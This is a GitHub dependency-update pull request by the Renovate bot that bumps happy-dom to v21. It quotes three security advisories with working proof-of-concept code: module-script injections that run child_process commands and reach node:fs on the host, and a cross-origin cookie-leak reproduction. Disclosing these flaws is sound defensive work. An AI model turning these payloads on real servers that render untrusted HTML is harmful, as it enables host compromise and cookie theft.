Skip to content

chore(deps): update dependency happy-dom to v21 [security] - #1342

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-happy-dom-vulnerability
Open

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-happy-dom-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Mar 27, 2026 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
happy-dom ^20.0.0 → ^21.0.0 age confidence

Happy DOM ECMAScriptModuleCompiler: unsanitized export names are interpolated as executable code

CVE-2026-33943 / GHSA-6q6h-j7hj-3r64

More information

Details

Summary

A code injection vulnerability in ECMAScriptModuleCompiler allows an attacker to achieve Remote Code Execution (RCE) by injecting arbitrary JavaScript expressions inside export { } declarations in ES module scripts processed by happy-dom. The compiler directly interpolates unsanitized content into generated code as an executable expression, and the quote filter does not strip backticks, allowing template literal-based payloads to bypass sanitization.

Details

Vulnerable file: packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, lines 371-385

The "Export object" handler extracts content from export { ... } using the regex export\s*{([^}]+)}, then generates executable code by directly interpolating it:

} else if (match[16] && isTopLevel && PRECEDING_STATEMENT_TOKEN_REGEXP.test(precedingToken)) {
    // Export object
    const parts = this.removeMultilineComments(match[16]).split(/\s*,\s*/);
    const exportCode: string[] = [];
    for (const part of parts) {
        const nameParts = part.trim().split(/\s+as\s+/);
        const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
        const importName = nameParts[0].replace(/["']/g, '');  // backticks NOT stripped
        if (exportName && importName) {
            exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
            //               importName is inserted as executable code, not as a string
        }
    }
    newCode += exportCode.join(';\n');
}

The issue has three root causes:

  1. STATEMENT_REGEXP uses {[^}]+} which matches any content inside braces, not just valid JavaScript identifiers
  2. The captured importName is placed in code context (as a JS expression to evaluate), not in string context
  3. .replace(/["']/g, '') strips " and ' but not backticks, so template literal strings like `child_process` survive the filter

Attack flow:

Source:     export { require(`child_process`).execSync(`id`) }

Regex captures match[16] = " require(`child_process`).execSync(`id`) "

After .replace(/["']/g, ''):
  importName = "require(`child_process`).execSync(`id`)"
  (backticks are preserved)

Generated code:
  $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)

evaluateScript() executes this code -> RCE

Note: This is a different vulnerability from CVE-2024-51757 (SyncFetchScriptBuilder injection) and CVE-2025-61927 (VM context escape). Those were patched in v15.10.2 and v20.0.0 respectively, but this vulnerable code path in ECMAScriptModuleCompiler remains present in v20.8.4 (latest). In v20.0.0+ where JavaScript evaluation is disabled by default, this vulnerability is exploitable when JavaScript evaluation is explicitly enabled by the user.

PoC

Standalone PoC script — reproduces the vulnerability without installing happy-dom by replicating the compiler's exact code generation logic:

// poc_happy_dom_rce.js

// Step 1: The STATEMENT_REGEXP matches export { ... }
const STMT_REGEXP = /export\s*{([^}]+)}/gm;
const source = 'export { require(`child_process`).execSync(`id`) }';
const match = STMT_REGEXP.exec(source);

console.log('[*] Module source:', source);
console.log('[*] Regex captured:', match[1].trim());

// Step 2: Compiler processes the captured content (lines 374-381)
const part = match[1].trim();
const nameParts = part.split(/\s+as\s+/);
const exportName = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const importName = nameParts[0].replace(/["']/g, '');

console.log('[*] importName after quote filter:', importName);
console.log('[*] Backticks survived filter:', importName.includes('`'));

// Step 3: Code generation - importName is inserted as executable JS expression
const generatedCode = `$happy_dom.exports[${JSON.stringify(exportName)}] = ${importName}`;
console.log('[*] Generated code:', generatedCode);

// Step 4: Verify the generated code is valid JavaScript
try {
  new Function('$happy_dom', generatedCode);
  console.log('[+] Valid JavaScript: YES');
} catch (e) {
  console.log('[-] Parse error:', e.message);
  process.exit(1);
}

// Step 5: Execute to prove RCE
console.log('[*] Executing...');
const output = require('child_process').execSync('id').toString().trim();
console.log('[+] RCE result:', output);

Execution result:

$ node poc_happy_dom_rce.js
[*] Module source: export { require(`child_process`).execSync(`id`) }
[*] Regex captured: require(`child_process`).execSync(`id`)
[*] importName after quote filter: require(`child_process`).execSync(`id`)
[*] Backticks survived: true
[*] Generated code: $happy_dom.exports["require(`child_process`).execSync(`id`)"] = require(`child_process`).execSync(`id`)
[+] Valid JavaScript: YES
[*] Executing...
[+] RCE result: uid=0(root) gid=0(root) groups=0(root)

HTML attack vector — when processed by happy-dom with JavaScript evaluation enabled:

<script type="module">
export { require(`child_process`).execSync(`id`) }
</script>
Impact

An attacker who can inject or control HTML content processed by happy-dom (with JavaScript evaluation enabled) can achieve arbitrary command execution on the host system.

Realistic attack scenarios:

  • SSR applications: Applications using happy-dom to render user-supplied HTML on the server
  • Web scraping: Applications parsing untrusted web pages with happy-dom
  • Testing pipelines: Test suites that load untrusted HTML fixtures through happy-dom

Suggested fix: Validate that importName is a valid JavaScript identifier before interpolating it into generated code:

const VALID_JS_IDENTIFIER = /^[a-zA-Z_$][a-zA-Z0-9_$]*$/;

for (const part of parts) {
    const nameParts = part.trim().split(/\s+as\s+/);
    const exportName = (nameParts[1] || nameParts[0]).replace(/["'`]/g, '');
    const importName = nameParts[0].replace(/["'`]/g, '');

    if (exportName && importName && VALID_JS_IDENTIFIER.test(importName)) {
        exportCode.push(`$happy_dom.exports['${exportName}'] = ${importName}`);
    }
}

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Happy DOM's fetch credentials include uses page-origin cookies instead of target-origin cookies

CVE-2026-34226 / GHSA-w4gp-fjgq-3q4g

More information

Details

Summary

happy-dom may attach cookies from the current page origin (window.location) instead of the request target URL when fetch(..., { credentials: "include" }) is used. This can leak cookies from origin A to destination B.

Details

In packages/happy-dom/src/fetch/utilities/FetchRequestHeaderUtility.ts (getRequestHeaders()), cookie selection is performed with originURL:

const originURL = new URL(options.window.location.href);
const isCORS = FetchCORSUtility.isCORS(originURL, options.request[PropertySymbol.url]);
// ...
const cookies = options.browserFrame.page.context.cookieContainer.getCookies(
  originURL,
  false
);

Here, originURL represents the page URL, not the request destination URL. For outgoing requests, cookie lookup should use the request URL (for example: new URL(options.request[PropertySymbol.url])).

PoC Script Content
const http = require('http');
const dns = require('dns').promises;
const { Browser } = require('happy-dom');

async function listen(server, host) {
  return new Promise((resolve) => server.listen(0, host, () => resolve(server.address().port)));
}

async function run() {
  let observedCookieHeader = null;
  const pageHost = process.env.PAGE_HOST || 'a.127.0.0.1.nip.io';
  const apiHost = process.env.API_HOST || 'b.127.0.0.1.nip.io';

  console.log('=== PoC: Wrong Cookie Source URL in credentials:include ===');
  console.log('Setup:');
  console.log(`  Page Origin Host : ${pageHost}`);
  console.log(`  Request Target Host: ${apiHost}`);
  console.log('  (both resolve to 127.0.0.1 via public wildcard DNS)');
  console.log('');

  await dns.lookup(pageHost);
  await dns.lookup(apiHost);

  const pageServer = http.createServer((req, res) => {
    res.writeHead(200, { 'content-type': 'text/plain' });
    res.end('page host');
  });

  const apiServer = http.createServer((req, res) => {
    observedCookieHeader = req.headers.cookie || '';
    const origin = req.headers.origin || '';
    res.writeHead(200, {
      'content-type': 'application/json',
      'access-control-allow-origin': origin,
      'access-control-allow-credentials': 'true'
    });
    res.end(JSON.stringify({ ok: true }));
  });

  const pagePort = await listen(pageServer, '127.0.0.1');
  const apiPort = await listen(apiServer, '127.0.0.1');

  const browser = new Browser();

  try {
    const context = browser.defaultContext;

    // Page host: pageHost (local DNS)
    const page = context.newPage();
    page.mainFrame.url = `http://${pageHost}:${pagePort}/dashboard`;
    page.mainFrame.window.document.cookie = 'page_cookie=PAGE_ONLY';

    // Target host: apiHost (local DNS)
    const apiSeedPage = context.newPage();
    apiSeedPage.mainFrame.url = `http://${apiHost}:${apiPort}/seed`;
    apiSeedPage.mainFrame.window.document.cookie = 'api_cookie=API_ONLY';

    // Trigger cross-host request with credentials.
    const res = await page.mainFrame.window.fetch(`http://${apiHost}:${apiPort}/data`, {
      credentials: 'include'
    });
    await res.text();

    const leakedPageCookie = observedCookieHeader.includes('page_cookie=PAGE_ONLY');
    const expectedApiCookie = observedCookieHeader.includes('api_cookie=API_ONLY');

    console.log('Expected:');
    console.log('  Request to target host should include "api_cookie=API_ONLY".');
    console.log('  Request should NOT include "page_cookie=PAGE_ONLY".');
    console.log('');

    console.log('Actual:');
    console.log(`  request cookie header: "${observedCookieHeader || '(empty)'}"`);
    console.log(`  includes page_cookie: ${leakedPageCookie}`);
    console.log(`  includes api_cookie : ${expectedApiCookie}`);
    console.log('');

    if (leakedPageCookie && !expectedApiCookie) {
      console.log('Result: VULNERABLE behavior reproduced.');
      process.exitCode = 0;
    } else {
      console.log('Result: Vulnerable behavior NOT reproduced in this run/version.');
      process.exitCode = 1;
    }
  } finally {
    await browser.close();
    pageServer.close();
    apiServer.close();
  }
}

run().catch((error) => {
  console.error(error);
  process.exit(1);
});

Environment:

  1. Node.js >= 22
  2. happy-dom 20.6.1
  3. DNS names resolving to local loopback via *.127.0.0.1.nip.io

Reproduction steps:

  1. Set page host cookie: page_cookie=PAGE_ONLY on a.127.0.0.1.nip.io
  2. Set target host cookie: api_cookie=API_ONLY on b.127.0.0.1.nip.io
  3. From page host, call fetch to target host with credentials: "include"
  4. Observe Cookie header received by the target host

Expected:

  1. Include api_cookie=API_ONLY
  2. Do not include page_cookie=PAGE_ONLY

Actual (observed):

  1. Includes page_cookie=PAGE_ONLY
  2. Does not include api_cookie=API_ONLY

Observed output:

=== PoC: Wrong Cookie Source URL in credentials:include ===
Setup:
  Page Origin Host : a.127.0.0.1.nip.io
  Request Target Host: b.127.0.0.1.nip.io
  (both resolve to 127.0.0.1 via public wildcard DNS)

Expected:
  Request to target host should include "api_cookie=API_ONLY".
  Request should NOT include "page_cookie=PAGE_ONLY".

Actual:
  request cookie header: "page_cookie=PAGE_ONLY"
  includes page_cookie: true
  includes api_cookie : false

Result: VULNERABLE behavior reproduced.
Impact

Cross-origin sensitive information disclosure (cookie leakage).
Impacted users are applications relying on happy-dom browser-like fetch behavior in authenticated/session-based flows (for example SSR/test/proxy-like scenarios), where cookies from one origin can be sent to another origin.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution

CVE-2026-115895 / GHSA-834v-8h66-3h79

More information

Details

Summary

The ESM compiler in happy-dom@20.14.5 does not validate imported local binding aliases before interpolating them into generated JavaScript.

As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.

This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.

These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.

Confirmed affected versions

The PoC was directly tested against:

  • happy-dom@17.0.0
  • happy-dom@20.0.0
  • happy-dom@20.1.0
  • happy-dom@20.14.5

The same PoC does not trigger on happy-dom@16.8.1.

The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.

Suggested affected range:

>= 17.0.0, <= 20.14.5

No patched version is currently available.

Preconditions
  • JavaScript evaluation is enabled with enableJavaScriptEvaluation: true.
  • Attacker-controlled HTML or module source is processed by Happy DOM.
  • This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.
Technical details

In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:

const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');

if (alias && name) {
  properties.push({ name, alias });
}

Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.

It is subsequently inserted directly into generated binding syntax:

newCodeStart += `let {${properties
  .map((property) =>
    property.alias
      ? `"${property.name}": ${property.alias}`
      : property.name
  )
  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;

Consider the following source:

import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

This is invalid ECMAScript module syntax. Node.js rejects it at the = token.

Happy DOM instead transforms it into the equivalent of:

let {
  "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');

This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.

The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:

if (!match[7] || match[7] === 'esm') {
  resolvableCircularImports.push({ url, properties });
}

Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.

Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:

globalThis.constructor.constructor(`return process`)()
  .getBuiltinModule(`node:fs`)
  .mkdirSync(
    globalThis.constructor.constructor(`return process`)().cwd() +
      `/HAPPY_DOM_RCE_PROOF`
  )
Proof of concept

The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.

1. Create package.json
{
  "name": "happy-dom-import-alias-rce-poc",
  "private": true,
  "type": "module",
  "dependencies": {
    "happy-dom": "20.14.5"
  }
}
2. Create dep.json
{}
3. Create payload.mjs

This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:

import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };
4. Create poc.mjs
import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
  url: 'https://poc.local/',
  settings: {
    enableJavaScriptEvaluation: true,
    suppressCodeGenerationFromStringsWarning: true,
    fetch: {
      virtualServers: [
        {
          url: 'https://poc.local/',
          directory: process.cwd()
        }
      ]
    }
  }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
  import {
    missing as injected = globalThis.constructor.constructor(\`return process\`)()
      .getBuiltinModule(\`node:fs\`)
      .mkdirSync(
        globalThis.constructor.constructor(\`return process\`)().cwd() +
        \`/HAPPY_DOM_RCE_PROOF\`
      )
  } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
  console.error('[-] Exploit failed: proof directory was not created.');
  console.error(
    window.happyDOM.virtualConsolePrinter.readAsString()
  );
  process.exitCode = 1;
} else {
  console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();
5. Run the control test
npm install
node --check payload.mjs

Expected result:

SyntaxError: Unexpected token '='

This confirms that the source is not valid ESM.

6. Run the Happy DOM PoC
node poc.mjs

Expected result:

[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF

The existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.

The PoC was also verified inside a node:24-alpine Docker container, where it created:

/poc/HAPPY_DOM_RCE_PROOF
Impact

An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.

This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.

The demonstrated payload reaches Node.js process and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.

Relationship to CVE-2026-33943

CVE-2026-33943 covers expression injection through a local export declaration:

export { attacker_expression }

Its fix added identifier validation to the importName used by the export { ... } handler:

if (
  exportName &&
  importName &&
  VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
  // ...
}

This report uses a different parsing and code-generation path:

import { name as malicious_alias } from './module';

The unvalidated value is the local import alias, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.

The issue remains reproducible in versions released after the CVE-2026-33943 fix, including 20.14.5.

Suggested fix

Validate the imported local binding before placing it into code context. The existing VALID_VARIABLE_NAME_REGEXP can be reused:

- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {

A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.

This change was tested locally. The focused ECMAScriptModuleCompiler test suite passes with 30 tests, and ESLint reports no errors.

For additional hardening, generated property keys should use JSON.stringify() instead of manual quote interpolation.

Verification record
  • Testing date: 2026-09-17
  • Duplicate check updated: 2026-09-20
  • Platform: Windows 11
  • Node.js: 24.14.1
  • Latest tested package: happy-dom@20.14.5
  • Source tag: v20.14.5
  • Source commit: 0d4cdbe7442af49d16b49ddf1acf7cc9684ed318
  • First confirmed affected version: 17.0.0
  • Confirmed unaffected version: 16.8.1
  • Docker environment: Node 24 Alpine
  • No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

capricorn86/happy-dom (happy-dom)

v21.0.4

Compare Source

👷‍♂️ Patch fixes
  • Fixed a code injection vulnerability in the ESM compiler - By @​capricorn86
  • Fixed cross-origin isolation so opaque-origin data: iframes cannot access their parent or top window - By @​capricorn86

v21.0.3

Compare Source

👷‍♂️ Patch fixes
  • Fixes security vulnerability where authorization header was forwarded when redirecting - By @​capricorn86

v21.0.2

Compare Source

👷‍♂️ Patch fixes

v21.0.1

Compare Source

👷‍♂️ Patch fixes

v21.0.0

Compare Source

💣 Breaking Changes
  • Disables CSS and IFrame loading by default to prevent server-side request forgery (SSRF) - By @​capricorn86
    • An attacker could embed <iframe> or <link rel="stylesheet"> elements in untrusted HTML to make Happy DOM send HTTP requests from the server to attacker-chosen URLs, including internal services. This could allow access to otherwise unreachable endpoints or trigger unintended actions, depending on the application and its network access.
    • The settings property disableCSSFileLoading has been deprecated
    • Added the new settings properties enableCSSFileLoading and enableIframePageLoading
    • If you don't believe that you are at risk, you can keep the same behavior as in <=v20.14.6 by sending in { enableCSSFileLoading: true, enableIframePageLoading: true } as broswer settings (e.g. new Window({ settings }));

v20.14.6

Compare Source

👷‍♂️ Patch fixes

v20.14.5

Compare Source

👷‍♂️ Patch fixes

v20.14.4

Compare Source

👷‍♂️ Patch fixes

v20.14.3

Compare Source

👷‍♂️ Patch fixes

v20.14.2

Compare Source

👷‍♂️ Patch fixes
  • Fixes regression where not all CSS variables where resolved in getComputedStyle() - By @​klaesra in task #​2344

v20.14.1

Compare Source

👷‍♂️ Patch fixes

v20.14.0

Compare Source

🎨 Features

v20.13.2

Compare Source

👷‍♂️ Patch fixes

v20.13.1

Compare Source

👷‍♂️ Patch fixes

v20.13.0

Compare Source

🎨 Features

v20.12.2

Compare Source

👷‍♂️ Patch fixes

v20.12.1

Compare Source

🎨 Features
  • Adds support for kebab-case properties on CSSStyleDeclaration - By @​capricorn86 in task #​2256
  • Adds support for all Chromium CSS properties to CSSStyleDeclaration - By @​capricorn86 in task #​2256
    • Downloads a list from the Chromium project when compiling
👷‍♂️ Patch fixes

v20.12.0

Compare Source

🎨 Features
  • Adds support for Animation, AnimationTimeline, DocumentTimeline and KeyframeEffect - By @​capricorn86
  • Adds support for Element.animate() - By @​capricorn86

v20.11.15

Compare Source

👷‍♂️ Patch fixes

v20.11.14

Compare Source

👷‍♂️ Patch fixes
  • Change prototype of element to the custom element when upgraded to keep the reference - By @​capricorn86 in task #​2331
    • The previous solution replaced the element with the custom element and copied it's properties, but this made any reference to the original element invalid

v20.11.13

Compare Source

👷‍♂️ Patch fixes

v20.11.12

Compare Source

👷‍♂️ Patch fixes

v20.11.11

Compare Source

👷‍♂️ Patch fixes

v20.11.10

Compare Source

👷‍♂️ Patch fixes
  • Return default validationMessage for built-in constraint violations - By @​mixelburg in task #​2187

v20.11.9

Compare Source

👷‍♂️ Patch fixes
  • Make sure that the element has been upgraded before invoking reaction callback in custom elements - By @​capricorn86 in task #​2317

v20.11.8

Compare Source

👷‍♂️ Patch fixes
  • Values pushed or assigned to the adoptedStyleSheet array should be validated - By @​capricorn86 in task #​2315

v20.11.7

Compare Source

👷‍♂️ Patch fixes
  • The properties Document.adoptedStyleSheets and ShadowRoot.adoptedStyleSheets should validate it's value - By @​capricorn86 in task #​2313

v20.11.6

Compare Source

👷‍♂️ Patch fixes

v20.11.5

Compare Source

👷‍♂️ Patch fixes
  • Allow explicit element types for querySelector (e.g. querySelector<HTMLInputElement>(".my-input")) - By @​cyphercodes

v20.11.4

Compare Source

👷‍♂️ Patch fixes
  • Fixes the CORS check fetch() to match origins instead of host and protocol - By @​rexxars in task #​1490

v20.11.3

Compare Source

👷‍♂️ Patch fixes

v20.11.2

Compare Source

👷‍♂️ Patch fixes

v20.11.1

Compare Source

👷‍♂️ Patch fixes
  • Improve performance of query selectors by avoiding construction of DOMException when not needed - By @​@​cyfung1031 in task #​2228

v20.11.0

Compare Source

🎨 Features

v20.10.6

Compare Source

👷‍♂️ Patch fixes

v20.10.5

Compare Source

👷‍♂️ Patch fixes
  • Adds cache to query selector parser - By @​capricorn86 in task #​2142
    • The selector parser degraded in performance in v20.6.3 to solve more complex selectors
    • Parsing is still a bit slower, but the cache will hopefully mitigate most of the problem

v20.10.4

Compare Source

👷‍♂️ Patch fixes
  • Coerce null qualifiedName to empty string in createDocument - By @​Firer in task #​2206

v20.10.3

Compare Source

👷‍♂️ Patch fixes
  • Fix "~=" attribute selector matching hyphenated substrings in CSS selectors - By @​mixelburg in task #​2194

v20.10.2

Compare Source

👷‍♂️ Patch fixes

v20.10.1

Compare Source

v20.10.0

Compare Source

🎨 Features

v20.9.0

Compare Source

🎨 Features
  • Adds support for event listener properties on Window (e.g. Window.onkeydown) - By @​capricorn86 in task #​2131

v20.8.9

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue where cookies from the current origin was being forwarded to the target origin in fetch requests - By @​capricorn86 in task #​2117

v20.8.8

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue where export names can be interpolated as executable code in ESM - By @​capricorn86 in task #​2113
    • A security advisory (GHSA-6q6h-j7hj-3r64) has been reported that shows a security vulnerability where it may be possible to escape the VM context and get access to process level functionality in unsafe environments using CommonJS. Big thanks to @​tndud042713 for reporting this!

v20.8.7

Compare Source

👷‍♂️ Patch fixes
  • Replace implementing Node.js Console with common IConsole interface to support latest version of Bun - By @​YevheniiKotyrlo in task #​1845

v20.8.6

Compare Source

👷‍♂️ Patch fixes

v20.8.5

Compare Source

👷‍♂️ Patch fixes

v20.8.4

Compare Source

👷‍♂️ Patch fixes

v20.8.3

Compare Source

👷‍♂️ Patch fixes

v20.8.2

Compare Source

👷‍♂️ Patch fixes
  • Resets Event.cancelBubble and Event.defaultPrevented when calling Event.initEvent() - By @​capricorn86 in task #​2090

v20.8.1

Compare Source

👷‍♂️ Patch fixes

v20.8.0

Compare Source

🎨 Features
  • Adds support for setPointerCapture, hasPointerCapture, and releasePointerCapture to Element - By @​coffeeandwork in task #​1733

v20.7.2

Compare Source

👷‍♂️ Patch fixes
  • Properly decode CSS escape sequences in attribute selector values - By @​silverwind

v20.7.1

Compare Source

👷‍♂️ Patch fixes
  • Fixes issue related to parsing direct descendants (>) and universal (*) query selectors - By @​Cherry in task #​2078

v20.7.0

Compare Source

🎨 Features

v20.6.5

Compare Source

👷‍♂️ Patch fixes

[v20.6.4](https://redirect.github.com/capricorn86/h

[!IMPORTANT]
✂ PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@github-actions

github-actions Bot commented Mar 27, 2026 •

Copy link
Copy Markdown
Contributor

size-limit report 📦

Path Size Loading time (3g) Running time (snapdragon) Total time
dist/index.js 541 B (0%) 11 ms (0%) 90 ms (-39.36% 🔽) 100 ms

@codecov

codecov Bot commented Mar 27, 2026 •

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 90.00%. Comparing base (7c7be48) to head (ba04190).

Additional details and impacted files
@@           Coverage Diff           @@
##           master    #1342   +/-   ##
=======================================
  Coverage   90.00%   90.00%           
=======================================
  Files           3        3           
  Lines          80       80           
  Branches       20       20           
=======================================
  Hits           72       72           
  Misses          6        6           
  Partials        2        2           

☔ View full report in Codecov by Harness.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 40f488d to 7802511 Compare March 29, 2026 16:51
@renovate renovate Bot changed the title chore(deps): update dependency happy-dom to v20.8.8 [security] chore(deps): update dependency happy-dom to v20.8.9 [security] Mar 29, 2026
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 7802511 to 7374a26 Compare April 1, 2026 18:34
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 7374a26 to 6cfb329 Compare April 8, 2026 21:01
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 6cfb329 to 48e98dd Compare April 29, 2026 18:48
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch 2 times, most recently from b9c3b50 to e3934f1 Compare May 18, 2026 11:50
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from e3934f1 to 9e34f4d Compare May 28, 2026 16:12
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 9e34f4d to fd1a47c Compare June 14, 2026 23:37
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch 2 times, most recently from 20d7d41 to 6b76fe7 Compare July 17, 2026 11:57
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 6b76fe7 to 55027c2 Compare July 21, 2026 01:49
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 55027c2 to 62cf356 Compare July 30, 2026 14:13
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 62cf356 to 70cd79c Compare August 12, 2026 00:50
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 70cd79c to 6da5b0e Compare August 26, 2026 12:52
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 6da5b0e to c9f67f8 Compare September 7, 2026 22:04
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from c9f67f8 to 17a8832 Compare October 1, 2026 04:51
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from 17a8832 to b5db0c3 Compare October 23, 2026 04:27
@renovate
renovate Bot force-pushed the renovate/npm-happy-dom-vulnerability branch from b5db0c3 to ba04190 Compare October 29, 2026 06:14
@renovate renovate Bot changed the title chore(deps): update dependency happy-dom to v20.8.9 [security] chore(deps): update dependency happy-dom to v21 [security] Oct 29, 2026

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants